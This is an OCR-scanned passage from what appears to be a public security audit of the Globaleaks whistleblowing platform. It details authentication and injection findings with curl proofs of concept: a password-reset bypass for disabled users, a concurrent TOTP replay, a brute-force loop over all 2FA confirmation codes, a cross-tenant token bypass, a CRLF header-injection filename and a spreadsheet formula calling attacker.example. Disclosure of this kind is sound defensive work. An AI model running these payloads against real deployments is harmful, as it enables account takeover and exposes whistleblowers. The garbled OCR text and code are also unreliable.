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2. From an unauthenticated client, request a password reset for the disabled recipient. The reset query matches
username or email in the tenant and does not filter disabled users.

curl -s -X POST 'https://TARGET/ api / user/reset/password' \
-H ' Content-Type: application/json \
--data ' {"usernane":"recipi ent @xanpl e.test"}"

3. Use the reset token delivered to the disabled user's registered mailbox. If the deployment requires a recovery
key or two-factor code, provide those normal reset prerequisites.

curl -s -X PUT ' https:// TARGET/ api / user/reset/password \
-H ' Content-Type: application/json' \
--data '{"reset_token":"<reset-token>", "recovery_key":"",6 "auth_code":""}"

4. Redeem the returned reset-session token through the same token-auth endpoint used by the client after
password reset validation.

curl -s -X POST ' https:// TARGET/ api / aut h/ t okenaut h* \
-H ' Content-Type: application/json' \
--data ' {"aut htoken": "<t oken-fromreset-response>"}"

5. Use the returned id asanormal recipient session.

curl -i '"https://TARGET/ api/recipient/rtips' \
-H ' X-Session: <session-id-fromtokenaut h>'

Expected result

A disabled internal user should not be eligible for password reset token issuance, reset-token validation, token-
auth redemption, or authenticated role APl access. Reset and token-auth paths should enforce the same
disabled-account boundary as password login.

Actual result
The reset request and validation paths ignore ser. enabl ed , create a normal role session for the disabled user,
and /api/aut h/tokenaut h returns that session for subsequent recipient APIs.

Impact

This is an authorization bypass of an explicit account-revocation state. If an administrator disables a recipient after
departure, compromise, or misuse, that recipient can regain a fresh session through the password reset flow as
long as they can receive the reset email and satisfy any configured reset prerequisites.

Impacted users or systems:

e Deployments that rely on disabling recipient accounts to revoke access.
o Whistleblowers whose reports remain assigned to a disabled recipient account.

e Administrators responding to account compromise or sta departure.
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7.3 F-025 - SMTP accepts wrong certificate
hostname

SMTP tra c can be intercepted by a machine-in-the-middle that presents any CA-trusted certificate not actually
bound to the configured mail server.

IMPACT COMPONENT FOUND BY
Mail interception risk Backend GPT-5.5 medium v1

The SMTP sending code uses a custom TLS client context that verifies certificate chains against platform CAs, but
the reviewed code does not show hostname verification or SNI binding for the configured SMTP server name. This
can allow a machine-in-the-middle with any CA-valid certificate to intercept SMTP TLS connections.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ uti| s/ mail . py: sendnai |
backend/ gl obal eaks/ utils/tls.py: TLSA i ent Cont ext Fact ory

Description:

sendnai | () constructs TLSA i ent Cont ext Factory() without passing snt p_host . The factory returns a raw
OpenSSL context that enables VER FY_PEER and loads platform trust roots, but it does not set the intended
hostname, configure SN , or perform explicit hostname matching.

Certificate chain validation alone is not su cient for TLS server authentication. The client also needs to verify that
the certificate is valid for the SMTP host it connected to.

Relevant code:
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backend/ gl obal eaks/ util s/ nail.py

74 context_factory = TLSA i ent Cont ext Fact ory()

75 snip_deferred = defer. Deferred()

77 factory = ESMIPSender Fact or y(

84 cont ext Fact ory=cont ext _factory,

85 requi reAut henti cati on=aut henti cati on,

86 requi reTransport Security=(security == "'TLS ),

90 if security == "SSL":

91 factory = tls. TLSMenoryBl CFact ory(context _factory, True, factory)
93 if anonym ze:

94 socksProxy = TCP4d i ent Endpoi nt (reactor, "127.0.0.1", socks_port,
ti nmeout =ti neout)

95 endpoi nt = SOCKS5d i ent Endpoi nt (snt p_host . encode(' utf-8'),
sntp_port, socksProxy)

96 el se:

97 endpoi nt = TCP4d i ent Endpoi nt (reactor, sntp_host, snip_port,

ti nmeout =ti meout)
backend/ gl obal eaks/ utils/tls. py

214 def new tls_client_context():
215 ctx = SSL. Cont ext ( SSL. SSLv23_METHD)

232 def _verifyQall back(conn, cert, errno, depth, ok):

233 if not ok:

234 log.err("Unable to verify validity of certificate: %" %
cert.get_subject())

236 return ok

238 ctx. set_verify(SSL. VER FY_PEER _veri fyCal | back)
239 ctx. set _verify_dept h(100)

241 trust Root . _addCACer t sToCont ext ( ct x)

276 class TLSA i ent Cont ext Fact ory(ssl . d i ent Cont ext Factory):

277 def get Cont ext (self):
278 return new tls_client_context()
PoC

ISGroup SRL

Via Cantarane, 14
37129 Verona (VR)
PIVA IT 04164220230
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Steps to reproduce

1

N

3

Configure the backend to use SMTP over TLS or SSL with authentication enabled.

sni p_ser ver=snt p. exanpl e. or g
snt p_security=TLS
snt p_aut henti cati on=true

Interpose a test SMTP endpoint presenting a CA-trusted certificate for a di erent hostname.

# For exanple, ternminate TLSwith a certificate valid for attacker.exanple. net,
signed by a CA trusted by the backend host, while the configured SMIP host is
snt p. exanpl e. org.

Trigger an outgoing notification email.
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The reviewed client context validates the certificate chain, but no code path
shown binds the peer certificate to snip.exanple.org.

Expected result

The SMTP TLS connection should fail unless the certificate is valid for the configured SMTP hostname and the
client sends the appropriate SNI value when applicable.

Actual result

The TLS context performs peer chain validation but the reviewed code does not perform hostname verification or
SNI setup tied to sntp_host .

Impact

An attacker able to intercept outbound SMTP tra ¢ can potentially decrypt notification emails or capture SMTP
credentials if they can present any certificate trusted by the backend host. This is especially relevant when
anonyni ze_out goi ng_connect i ons is disabled or when the attacker controls the configured SMTP network path.

Impacted users or systems:
¢ Instances sending notification emails through SMTP with TLS or SSL.

e Operators relying on SMTP TLS to protect notification content and SMTP credentials.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Medium Low Low

CWE-295 ) Improper Certificate Validation
Improper Validation of Certificate with Host Mismatch
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7.4 F-027 - TOTP code reused concurrently

Avalid TOTP can be accepted by two concurrent authentication requests, producing two independent sessions
from a code intended for one-time use.

IMPACT COMPONENT FOUND BY
2FAreplay bypass Backend Claude Sonnet 4.6 medium v1

The two-factor authentication anti-replay mechanism uses a shared in-memory dictionary to track the last
accepted TOTP code per user. The check-then-register sequence is not atomic and is executed concurrently on
multiple ORM worker threads. Two simultaneous login requests carrying the same TOTP code both pass the anti-
replay check before either has written the code to the registry, allowing a single TOTP token to authenticate two
independent sessions.

Details

A ected source code:

backend/ gl obal eaks/ state. py —Stated ass. totp_verify()
backend/ gl obal eaks/ handl ers/auth/__init__.py —I ogin()
backend/ gl obal eaks/ handl er s/ user/reset _password. py —val i dat e_password_reset ()

Description:

Stated ass.totp_verify() implements TOTP one-time-use enforcement with the following non-atomic
sequence:

def totp_verify(self, secret, token):
# 1. READ
previ ous_t oken = sel f. TwoFact or Tokens. get (secret)
# 2. GHECK
if previous_token and previous_token.token == token:
rai se errors. | nval i dTwoFact or Aut hCode
# 3. VER FY (cryptographic, ~tens of ns)
totpVerify(secret, token)
# 4. WRTE
sel f. TwoFact or Tokens[ secret] = UsedToken(t oken)

TwoFact or Tokens isa TenpD ct (an in-memory dict). The entire four-step sequence is not protected by any
lock or atomic operation.

| ogi n() is decorated with @ransact , which dispatches it to the ORM thread pool ( Thr eadPool (4, 16) ).

When two login requests arrive simultaneously for the same user, both are dispatched to separate ORM threads
and execute totp_verify() concurrently.

Race window:
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Thread A step 1 - TwoFact or Tokens. get (secret) = None

Thread B: step 1 - TwoFact or Tokens. get (secret) = None  ~races with A before step
4

Thread A° step 2 - ok (no prior token)

Thread B: step 2 - ok (no prior token, A hasn't witten yet)

Thread A step 3 —totpVerify - valid

Thread B: step 3 —totpVerify —valid

Thread A: step 4 - TwoFact or Tokens[ secret] = token

Thread B: step 4 - TwoFactor Tokens[secret] = token —overwites A's entry

Both threads complete | ogi n() successfully and return independent valid sessions backed by the same TOTP
code. The anti-replay property of TOTP is defeated.

Note that Python's GIL guarantees individual dict _ getitem and _ setitem _ operations are atomic, but
does not guarantee atomicity of the READ—CHECK—WRITE sequence across the GlL-releasing t ot pVerify()

call (which may invoke native C code). The window between step 1 and step 4 is on the order of the cryptographic
verification time (tens to hundreds of milliseconds), which is easily exploited by sending two HTTP requests in
parallel.

A ected callers (all @ransact |, all executed on ORM threads):

Caller File Condition
| ogi n() handl ers/auth/ __init__.py user has two_factor_secret set
val i dat e_passwor d_reset () handl er s/ user/ reset _password. py userhas two_factor_secret set

Relevant code:

# state.py ~300
def totp_verify(self, secret, token):
previ ous_t oken = sel f. TwoFact or Tokens. get (secret) # ~ READ (no | ock)
if previous_token and previous_token.token == token:
rai se errors. | nval i dTwoFact or Aut hCode
try:
totpVerify(secret, token) # —~may release AL
except Exception:
rai se errors. | nval i dTwoFact or Aut hCode
sel f. TwoFact or Tokens[ secret] = UsedToken(t oken) # <« WR TE (no | ock)

# handl ers/auth/__init__.py ~100 (sinplified)
@r ansact # - CRMthread pool

def |ogin(session, tid, usernane, password, authcode, ...):

if user.two_factor_secret:
State.totp_verify(user.two_factor_secret, authcode) # — concurrent access

session = Sessions.new...)
return session

PoC

Steps to reproduce

1. Have a Globaleaks account with 2FA enabled ( two_f act or_secret set). 2. Obtain credentials (username +
password) and a valid current TOTP code for that account (e.g., by legitimate access or by observing the code
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during a legitimate login). 3. Send two simultaneous POST requests to /api / aut h/ aut henti cati on carrying the
same TOTP code before the 30-second TOTP window expires:

TCKEN="<current _val i d_t ot p_code>"
BODY="{\"tid\":1,\"usernane\":\"<user>\",\"password\ ":\"<password>\",\"aut hcode\":

\"${ TOKEN}\ "}

curl -s -X POST https://<host>/api/auth/authentication \

s
-H ' Content-Type: application/json' -d "$BODY" &
curl -s -X POST https://<host>/api/auth/authentication \
-H ' Content-Type: application/json' -d "$BODY" &
wai t

Expected result

The second request is rejected with | nval i dTwoFact or Aut hCode because the TOTP code was already
consumed by the first request.

Actual result

Both requests return HTTP 200 with two distinct session IDs. Both sessions are valid and can be used

independently to perform authenticated operations.

Impact

Exploitation requires valid primary credentials and possession or observation of a currently valid TOTP. It does not
enable TOTP guessing or authentication without the other required factors; its e ect is limited to creating an
additional valid session through concurrent replay. The additional session has the account's normal privileges,
resulting in moderate confidentiality and integrity impact without an availability impact.

Impacted users or systems:

e Any user with two-factor authentication enabled (admin, recipient, custodian, analyst roles).

¢ Platforms that enforce mandatory 2FA ( enabl e_two_f act or tenant setting).

CONFIDENTIALITY INTEGRITY AVAILABILITY
Medium Medium None

CWE-362 ) Concurrent Execution Using Shared Resource with Improper Synchronization (Race Condition)

CWE-303 ) Incorrect Implementation of Authentication Algorithm
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7.5 F-029 - Confirmation TOTP guesses
unlimited

An attacker who already holds a live session can brute-force confirmation TOTP codes until 2FA is disabled or the
recovery key is disclosed.

IMPACT COMPONENT FOUND BY
Recovery secret exposure Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

Sensitive user operations protected by X-Confirmati on do not enforce an attempt limit. For users with two-
factor authentication enabled, di sable 2fa and get_recovery_key callthe same TOTP verifier on every
request, but failed confirmation attempts are not counted, delayed, locked, or rate-limited. A session-holding
attacker can therefore automate TOTP guesses until one succeeds, then disable the victim's second factor or
retrieve the account recovery key.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ operation. py - Qperati onHandl er. put ()
backend/ gl obal eaks/ handl er s/ base. py - BaseHandl er. check_confirmation(),
db_confirnation_check()

backend/ gl obal eaks/ handl er s/ user/ operation.py - User Qoer ati onHandl er
backend/ gl obal eaks/ rest/decorators. py - decorator_rate |imt()

PUT /api / user/ operati ons

Description:

User Qper ati onHandl er marks disabl e 2fa and get_recovery_key as operations requiring confirmation.
Qper at i onHandl er . put () enforces that by calling BaseHandl er. check_confirmation() ,which decodes the
X-Confirmation header and validates it against the authenticated user's TOTP secret when 2FA is enabled.

When the TOTP code is wrong, the verifier raises | nval i dTwoFact or Aut hCode and the operation fails. No failure
counter is updated, no delay is applied, the session remains valid, and the protected operation can be retried
immediately with another six-digit code.

The generic rate limiter does not cover authenticated user operations. It only throttles whistleblower
/ api / whi st | ebl oner/ operations and unauthenticated login paths. Therefore an attacker who has obtained a

live user session can repeatedly send PUT /api / user/operations guesses until the current TOTP window is hit.

Relevant code:
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backend/ gl obal eaks/ handl er s/ oper at i on. py

14 def put(self, *args, **kwargs):

15 request = sel f.validate_request(self.request.content.read(),
request s. (psDesc)

16

17 if request['operation'] in self.require_confirmation:

18 sel f. check_confirmation()

19

20 func = sel f.operation_descriptors().get(request['operation'], None)
21 if func:

22 return func(self, request['args'], *args, **kwargs)

backend/ gl obal eaks/ handl er s/ base. py

86 def db_confirmation_check(session, tid, user_id, secret):

87 user = db_get _user(session, tid, user_id)

88

89 if user.two_factor_secret:

90 State.totp_verify(user.two_factor_secret, secret)

302 def check_confirmation(self):

303 user_id = sel f.session.user_id

304

305 secret = decodeString(sel f.request. headers. get (b' x-confirmation',
b))

306

307 sync_confirmation_check(sel f.session.user_tid, user_id, secret)

backend/ gl obal eaks/ handl er s/ user/ oper ati on. py

152 cl ass User Oper at i onHandl er (Qper at i onHandl er):

153 check_rol es = 'user'

154

155 require_confirmation = [

156 ' disable_2fa',

157 ' get _recovery_key'

158 ]

168 def get_recovery_key(self, reg_args, *args, **kwargs):
169 return get_recovery_key(sel f.session.user_tid,
170 sel f. session. user_id,
171 sel f. sessi on. cc)

180 def disable 2fa(self, reg_args, *args, **kwargs):
181 return disabl e _2fa(sel f.session. user_tid,

182 sel f. sessi on. user _i d,

183 sel f. sessi on. user_i d)

backend/ gl obal eaks/ r est/ decor at or s. py

90 if self.session:

91 user_id = sel f.session.user_id. encode()

92

93 if self.session.role == "whistleblower’ and path.startsw th(b'/api/

whi st ebl over/"):

127 el se:

128 if self.request.path in [b'/api/auth/authentication', b'/api/auth/
recei ptauth', b'/api/auth/authentication']:
129 delay = State. RateLi mt.check(...)

PoC

Page 41 of 400

All rights reserved ISGroup S.r.l. - www.isgroup.biz - Made in Italy



ISGroup SRL

Via Cantarane, 14
37129 Verona (VR)
. . PIVA IT 04164220230
Information Security REA VR-397513

Labeling PUBLIC Date 30/07/2026 Author ISGroup

Edition 01 Revision 01 Distribution Public disclosure permitted

Steps to reproduce

1. Log in as a user with two-factor authentication enabled, or obtain that user's active session ID through any
session-compromise scenario. The session must be able to call PUT /api / user/operations .

sessi on_i d=<vi cti muser X-Session>

2. Send repeated confirmation guesses against a confirmation-protected operation. The client encodes X-
Gonfirmation as base64 of UTF-16LE text; the example below uses Python to generate the same format for six-
digit TOTP guesses.

for code in $(seq -w 000000 999999); do
confirne$(pyt hon3 - <<PY
inport base64
print (base64. b64encode(' ${code}' . encode(" utf-16le')). decode())
PY

)
curl -s -X PUT ' https:// TARGET/ api / user/ operations' \
-H "' Content-Type: application/json' \
-H "X-Session: ${session_id}" \
-H"X-Confirmation: ${confirn}" \
--data '{"operation":"disable 2fa","args": {}}'
done

3. Observe that wrong codes are rejected but the session and operation remain retryable. When the current TOTP
code is guessed, the operation succeeds and the user's 2FA secret is cleared.

4. The same unrestricted confirmation oracle also protects recovery-key retrieval.

curl -s -X PUT ' https:// TARGET/ api / user/ operations' \
-H ' Content-Type: application/json' \
-H "X-Session: ${session_id}" \
-H "X Confirmation: ${valid_confirmheader}" \
--data '{"operation":"get_recovery_key", "args":{}}'

Expected result

Confirmation checks for sensitive account operations should have an attempt budget. Repeated wrong
confirmations should trigger a per-session or per-user delay, lockout, session revocation, or require re-
authentication before another attempt.

Actual result

The backend accepts unlimited confirmation retries for the same authenticated session. Wrong TOTP guesses do
not consume or lock the operation, and authenticated /api/user/operations calls are outside the login rate-
limit buckets.

Impact

This weakens the second-factor confirmation boundary after session compromise. A session holder who
successfully guesses the six-digit code can disclose the recovery key or modify the account's 2FA configuration.
These are moderate confidentiality and integrity consequences, but the issue does not itself create an availability
impact or provide an unauthenticated login path.

Impacted users or systems:
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¢ Internal users with two-factor authentication enabled.
o Encrypted deployments where get recovery_key returns long-lived account recovery material.
o Deployments relying on confirmation prompts to protect sensitive account settings from session-only

compromise.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Medium Medium None

CWE-307 ) Improper Restriction of Excessive Authentication Attempts
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7.6 F-050 - Token auth checks wrong tenant

Tenant-specific network restrictions can be bypassed by redeeming a restricted tenant's token through a more
permissive tenant on the same deployment.

IMPACT COMPONENT FOUND BY

Network policy bypass Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

PCST / api / aut h/ t okenaut h validates Tor, HTTPS, and IP-filter policy against the tenant selected by the HTTP
request, but it returns the session embedded in the submitted authtoken. In a multi-tenant deployment, a reset-
token-derived session for a restricted tenant can be redeemed through a di erent tenant or the root tenant with
looser connection rules, then used against the restricted tenant's role APIs.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl ers/auth/ __init__.py: TokenAut hHandl er. post

backend/ gl obal eaks/ handl er s/ user/reset _password. py: validate_password_reset
backend/ gl obal eaks/ rest/api . py: tenant routing

backend/ gl obal eaks/ handl er s/ base. py: connecti on_check and BaseHand! er. get _sessi on
PCST / api / aut h/ t okenaut h

PUT / api / user/reset/ passwor d

Description:

TokenAut hHandl er accepts an aut ht oken , loads the corresponding Sessi on object, and calls

connecti on_check() with self.request.tid .The requesttenantis selected from the hostname or /t/0
path before the handler runs. The loaded Sessi on , however, already contains its own session.tid and role,
and Sessions.regenerate() preservesthose attributes before returning the serialized session to the client.

This creates an authorization mismatch: the policy decision is made for the tenant that received
/ api / aut h/ t okenaut h , while the authenticated session belongs to the tenant embedded in the aut ht oken .

Later role APIs only require session.tid to match the requested tenant; they do not re-run
connect i on_check() .

A realistic non-admin path is password reset. val i dat e_password_reset () creates a normal role session for

user.tid and returnsitsid as a login token, without binding redemption to that same tenant's connection policy.
A holder of a valid reset token for a recipient in a Tor-only or IP-restricted tenant can validate the reset token and
redeem the returned aut ht oken through a di erent tenant whose receiver policy allows the current connection.
The returned session can then be sent to the restricted tenant's recipient APIs.

Relevant code:

Page 44 of 400

All rights reserved ISGroup Sr.l. - www.isgroup.biz - Made in Italy



|SGroup

Information Security

Labeling

Edition

PUBLIC Date 30/07/2026 Author

01 Revision 01 Distribution

backend/ gl obal eaks/ handl ers/auth/ __init__.py

224
225
226

@nl i neCal | backs
def post(self):
request = sel f.validate_request(self.request.content.read(),

request s. TokenAut hDesc)

227
228
229
230
231
232
233
234
235
236
237

sessi on = Sessions. get (request [ aut ht oken'])
if session is None:
yield twdb_|l ogin_failure, self.request.tid, 0)

connection_check(sel f.request.tid, session.role,

ISGroup SRL

Via Cantarane, 14
37129 Verona (VR)
PIVA IT 04164220230
REA VR-397513

ISGroup

Public disclosure permitted

sel f.request.client_ip, self.request.client_using_ tor)

session = Sessi ons. regener at e( sessi on)

returnVal ue(session. serialize())

backend/ gl obal eaks/ handl er s/ user/reset _passwor d. py

159
160
161
162
163
164

173

user_sessi on = Sessions. new( user. tid,
user.id,
user.tid,
user.rol e,
prv_key,
user . crypt o_escrow_prv_key)

return {'status': 'success', 'token': user_session.id}

backend/ gl obal eaks/ rest/ api . py

423
424
425

if not State.tenants[1].cache.w zard_done or \
request . host nanme. | over () in (b'127.0.0.1', b'local host') or \

(State.tenants[1].cache. host name == and

i sl PAddr ess(request . host nane) ) :

426
427
428
430
431
432
433
434
435
436
437
438

request.tid = 1
el se:
request.tid = State.tenant_host nane_i d_nap. get (r equest . host name)

if request.tid == 1:
try:
m = OOWPI LED RE_TI D_WJ D. nat ch(r equest . pat h)
if m
tid_bytes, rest = mgroups()
tid = State.tenant _uui d_i d_nmap. get (ti d_byt es. decode())
if tidis not None:
request.tid = tid
request.path = rest

backend/ gl obal eaks/ handl er s/ base. py

61 def
70

71

72

73

151
152

PoC

connection_check(tid, role, client_ip, client_using_tor):

cache = State.tenants[tid].cache
ip_filter_enabled key = f'ip_ filter_{role}_enable'
ip_filter_key =f'ip_filter_{role}"

https_al | oned_key = f'https_{rol e}’

if session is None or session.tid != self.request.tid:
return

Steps to reproduce

1. Configure a multi-tenant deployment with two tenants. Tenant A allows the recipient role from the attacker's
current network, while tenant B restricts recipientswith ip filter_receiver_enabl e or by setting

htt ps_r ecei ver

password reset token for that recipient.

false so recipient access should require Tor. Create a recipient in tenant B and obtain a valid
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Tenant A receiver connection policy permts the current client. Tenant B:
recei ver connection policy rejects the current client.

2. From the disallowed client network, validate the tenant B reset token through tenant A or the root tenant. The
reset validation returns an authtoken for the tenant B user session because val i dat e_passwor d_r eset ()
creates Sessions.new(user.tid, ...)

curl -s -X PUT 'https://tenant-a. exanpl e/ api / user/reset/password' \
-H ' X-Token: <tenant -a- proof - of - wor k-t oken>" \
-H ' Content-Type: application/json' \
--data '{"reset_token":"<tenant-b-reset-token>","recovery_key":"", "auth_code":""

3

3. Redeem the returned authtoken through tenant A.  TokenAut hHandl er . post () checks tenant A's receiver
policy at this step, not tenant B's policy embedded in the session.

curl -s -X POST 'https://tenant-a. exanpl e/ api / aut h/ t okenaut h' \
-H ' X-Token: <tenant -a- proof - of - wor k-t oken>" \
-H ' Content-Type: application/json' \
--data ' {"aut htoken": " <aut ht oken-from step-2>"}"

4. Use the returned session id against tenant B's recipient API, either through tenant B's hostname or the root
tenant's /t/0/ route.

curl -i '"https://root.exanpl e/t/<tenant-b-uui d> api/recipient/rtips' \
-H ' X-Session: <session-id-fromstep-3>'

Expected result

Token redemption should enforce the connection policy for the tenant that owns the authtoken session. A
recipient session for tenant B should not be redeemable from a network or transport that tenant B rejects.

Actual result

The token-auth endpoint enforces the connection policy for tenant A, returns a tenant B session, and later tenant
B role APIs accept the session because its session.tid matches tenant B.

Impact

This is an authorization bypass of tenant-specific connection controls. It weakens Tor-only and IP-filter restrictions
for internal users whenever an attacker can obtain a tenant-bound authtoken, such as through the password reset
flow, and can route token redemption through a more permissive tenant on the same deployment.

Impacted users or systems:

o Multi-tenant Globaleaks deployments with di erent role connection policies per tenant.
¢ Recipients whose tenant is configured to require Tor or a specific IP range.

o Whistleblowers whose reports are assigned to accounts protected by those tenant connection controls.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High Low None
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CWE-639 ) Authorization Bypass Through User-Controlled Key
CWE-863 ) Incorrect Authorization
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7.7 F-066 - Legacy filenames split response
headers

On legacy supported stacks, a crafted filename can inject extra HTTP headers when another user downloads the
file.

IMPACT COMPONENT FOUND BY
Header injection Backend GPT-5.5 xhigh vl

Download responses build  Cont ent - Di sposi ti on directly from uploaded filenames. The current default
dependency pins use Twisted versions that sanitize newline characters in header values, but the repository still
carries a supported focal requirements profile with twi sted==18.9.0 ,whose Headers. set RawHeader s()
implementation stores response header values without newline sanitization. On deployments using that legacy
profile, a recipient or whistleblower-controlled filename containing CR/LF can split the download response
headers when another user downloads the file.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ base. py, BaseHandl er.wite_file_as_downl oad()
backend/ gl obal eaks/ handl er s/ base. py, BaseHandl er. process_fi | e_upl oad()
backend/ gl obal eaks/ handl ers/recipient/rtip.py, ReceiverFi|eDownl oad. get ()
backend/ gl obal eaks/ handl er s/ whi st | ebl ower/wbti p. py, Recei ver Fi | eDownl oad. get ()
backend/ r equi rement s/ requi renent s. t xt . f ocal

Description:

Uploaded filenames are taken from the client-controlled fl owFi | enane parameter and reduced with
os. pat h. basenane() , but they are not stripped of CR or LF . The stored display filename is later passed into
wite file as_downl oad() ,which interpolates it inside the Content - Di sposi tion response header.

Modern Twisted versions sanitize linear whitespace in Header s. set RawHeader s() , which neutralizes this input.
However, the repository still includes a focal requirements profile pinned to twi st ed==18.9. 0 . In Twisted
18.9.0 , Headers. set RawHeader s() stores encoded values directly without calling
_sani ti zeLi near Wi t espace() .A deployment built from that profile can therefore emit attacker-controlled
response header lines when serving a download.

Relevant code:

backend/ gl obal eaks/ handl er s/ base. py

405 filename = os. pat h. basename(sel f.request. args[b' f| owFi | enane' ][ 0] . decode()

)

410 sel f.upl oaded_file = {

411 tid: filelid,
412 ‘date': datetine_now(),
413 "nane': fil enane,
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backend/ gl obal eaks/ handl er s/ base. py

346 sel f. request . set Header (b' Cont ent - Type', 'application/octet-strean)
347 sel f. request. set Header (b' Cont ent - Di sposi tion',
348 "attachnent; filename="%"" %fil enane)

Recipient-uploaded files use the stored filename on download by recipients and whistleblowers:

backend/ gl obal eaks/ handl ers/ reci pient/rtip. py
1378 def get(self, rfile_id):
1379 nane, filename, tip_prv_key, pgp_key = yield

sel f.downl oad_rfile(self.request.tid, self.session.user_id,

1388 name = GCE asynmetric_decrypt (tip_prv_key,
Base64Encoder . decode( nare. encode()) ) . decode()

1391 yield self.wite_file_as_downl oad(nane, filelocation, pgp_key)

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/wbt i p. py

281 nane, filelocation, tip_prv_key, pgp_key = yield
sel f.downl oad_rfile(self.request.tid, rfile_id)

288 nanme = GCE asymmetric_decrypt (tip_prv_key,
Base64Encoder . decode( nane. encode( ) ) ) . decode( )

291 yield self.wite_ file_as_downl oad(nane, filelocation, pgp_key)

The legacy dependency profile is still present in the repository:

backend/ r equi rement s/ requi renent s. t xt . f ocal
458 twi sted==18.9.0 \

459 - - hash=sha256: 294be2c6bf 84ae776df 2f c98e7af 7d6537elc5e60a46d33c3ce2al97677d
a395

Twisted 18.9.0 stores header values directly:

twi sted-18.9. 0/ src/tw st ed/ web/ htt p_header s. py
185 def set RawHeaders(sel f, nane, val ues):
202 nane = sel f._encodeNane( nane)

203 sel f. _rawHeader s[ nane] = sel f._encodeVal ues(val ues)

By contrast, newer Twisted releases sanitize linear whitespace before storing values:

twi sted-24. 11. 0/ src/ t wi st ed/ web/ htt p_headers. py
127 def set RawHeader s(sel f, nane, val ues):

150 encodedVal ues. append(_sani ti zeLi near Wi t espace(_v))

PoC
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1. Use a build/deployment profile that installs backend/ r equi renent s/ requi renents. txt. focal , or otherwise
runs the backend with twi sted==18.9.0 .

rg -n “tw sted==18.9.0" backend/requirenents/requirenents.txt.focal

2. As a recipient with access to a report, upload a file for the whistleblower with a filename containing CR/LF. The
exact request format depends on the chunked upload client, but the vulnerable field is f| owFi | enarre .

fl owFi | ename = not e. t xt ¥Dd%aX- | nj ect ed- Header : %20r eci pi ent - control | ed

3. As the whistleblower, download the recipient file from the report.

curl -i -H'x-session: <whistleblower-session> \
"https://<tenant-host >/ api / whi st ebl ower/wbti p/rfiles/<receiverfile_id>

Expected result

The backend should encode or reject CR/LF in filenames before using them in  Cont ent - D sposi tion ,
independently of the Twisted version in use.
Actual result

On Twisted 18.9.0, the unsanitized filename is stored as a raw response header value. When Twisted serializes the
response, CR/LF in the filename can terminate Cont ent - D sposi ti on and add attacker-controlled response
headers.

Impact

This is a response-splitting vulnerability on deployments using the legacy Twisted profile. A malicious recipient
can target a whistleblower who downloads a file attached by that recipient; a malicious whistleblower can
similarly influence filenames for recipient downloads of whistleblower-provided files. Practical impact depends on
browser and proxy behavior, but can include header injection, cache poisoning in intermediary caches, or
weakening download handling protections.

Impacted users or systems:

e Deployments using the focal dependency profile or any runtime with Twisted 18.9.0 behavior.

e Whistleblowers or recipients who download files whose display name was supplied by another user.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Medium None

Improper Neutralization of CRLF Sequences in HTTP Headers

Improper Neutralization of Special Elements in Output Used by a Downstream Component
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7.8 F-069 - Spreadsheet formulas execute
from exports

An exported CSV can carry attacker-controlled formulas that execute in the viewer's spreadsheet application
when the file is opened.

IMPACT COMPONENT FOUND BY
Client-side code execution Client GPT-5.5 medium vl

The client-side CSV export helper writes untrusted string values directly into CSV cells without neutralizing
spreadsheet formula prefixes. Values beginningwith =, + , - ,or @ can be interpreted as formulas when an
administrator or recipient opens an exported CSV file in spreadsheet software. This can allow a user who controls
an exported field to trigger formula execution in the viewer's spreadsheet context.

Details

A ected source code, component, endpoint, or function:

client/app/src/shared/ services/utils.service.ts: 719

client/app/src/ pages/recipient/tips/tips.conponent.ts: 309

client/app/ src/pages/ adm n/ audi t | og/ audi t| og-t abl/ audi t - | og- t abl. conponent . t s: 40
client/app/ src/pages/ adn n/ audi t | og/ audi t| og-t ab2/ audi t - | og- t ab2. conponent . t s: 31

Description:

The shared generateCSV() helper quotes cells containing commas, quotes, or newlines, but it does not
neutralize values that spreadsheet applications treat as formulas. The helper is used for recipient report exports
and multiple administrator audit exports. Exported fields include report labels and user metadata, which can be
controlled by users with access to those records. If a victim opens the generated CSV in spreadsheet software, a
formula payload can execute in that local spreadsheet context.

Relevant code:

/1 client/app/src/shared/services/utils.service.ts
const csvRows = data. map(row =>
header s. map( header => {
let cell = row header];

if (typeof cell === "'object' &% cell !==null) {
cell = JSONstringify(cell);
}

if (typeof cell ==="'string' & (cell.includes(',") || cell.includes('"") ||
cell.includes('\n"))) {
return “"${cell.replace(/"/g, """")}"";

}

return cell ?2? '";
}.join(",")
IE
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/1 client/app/src/pages/recipient/tips/tips.conponent.ts
export ToCsv(): void {

this.utils.generateCS\V('reports', this.getDataGsv());
}

get DataGsv(): any[] {

const output = [...this.filteredTi ps];
return output.mp(tip => ({
id tip.id,

progressive: tip.progressive,
inportant: tip.inportant,
context _name: tip.context_nane,
| abel : tip.label,

Il client/app/src/pages/ adm n/ audi t| og/ audi t| og-t ab2/ audi t - | og- t ab2. conponent . t s
export Audi t Log() {
this.utilsService.generateCSV('users', this.users);

}

PoC

Steps to reproduce

1. Create or modify an exported value so that it starts with a spreadsheet formula prefix. For example, a report
label or user display field can use a value such as:

=HYPERLI NK("ht t ps: // at t acker . exanpl e/ csv-formul a", " Qpen report")

2. As a user who can export the a ected table, use one of the client CSV export actions, for example the recipient
report list export or an administrator audit/users export.

Reci pient reports -> Export CSV
Adnin audit/users -> Export CSV

3. Open the generated CSV in spreadsheet software that evaluates formulas in CSV cells.

The exported value is | oaded as a spreadsheet formula rather than as inert text.

Expected result

CSV exports should preserve exported values as data. Cells beginning with formula prefixes should be
neutralized, for example by prefixing a single quote or otherwise forcing text interpretation before writing the CSV.
Actual result

The client writes formula-prefixed values unchanged unless they require ordinary CSV quoting for commas,
quotes, or newlines. Spreadsheet software may interpret those values as formulas when the exported CSV is
opened.

Impact

This is a CSV/spreadsheet formula injection vulnerability in client-generated exports. Exploitation requires a
victim to export data and open the resulting CSV in spreadsheet software that evaluates formulas. In
deployments where recipients or administrators process CSV exports operationally, a malicious internal user or
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compromised account controlling exported fields can cause spreadsheet-side actions such as opening attacker-
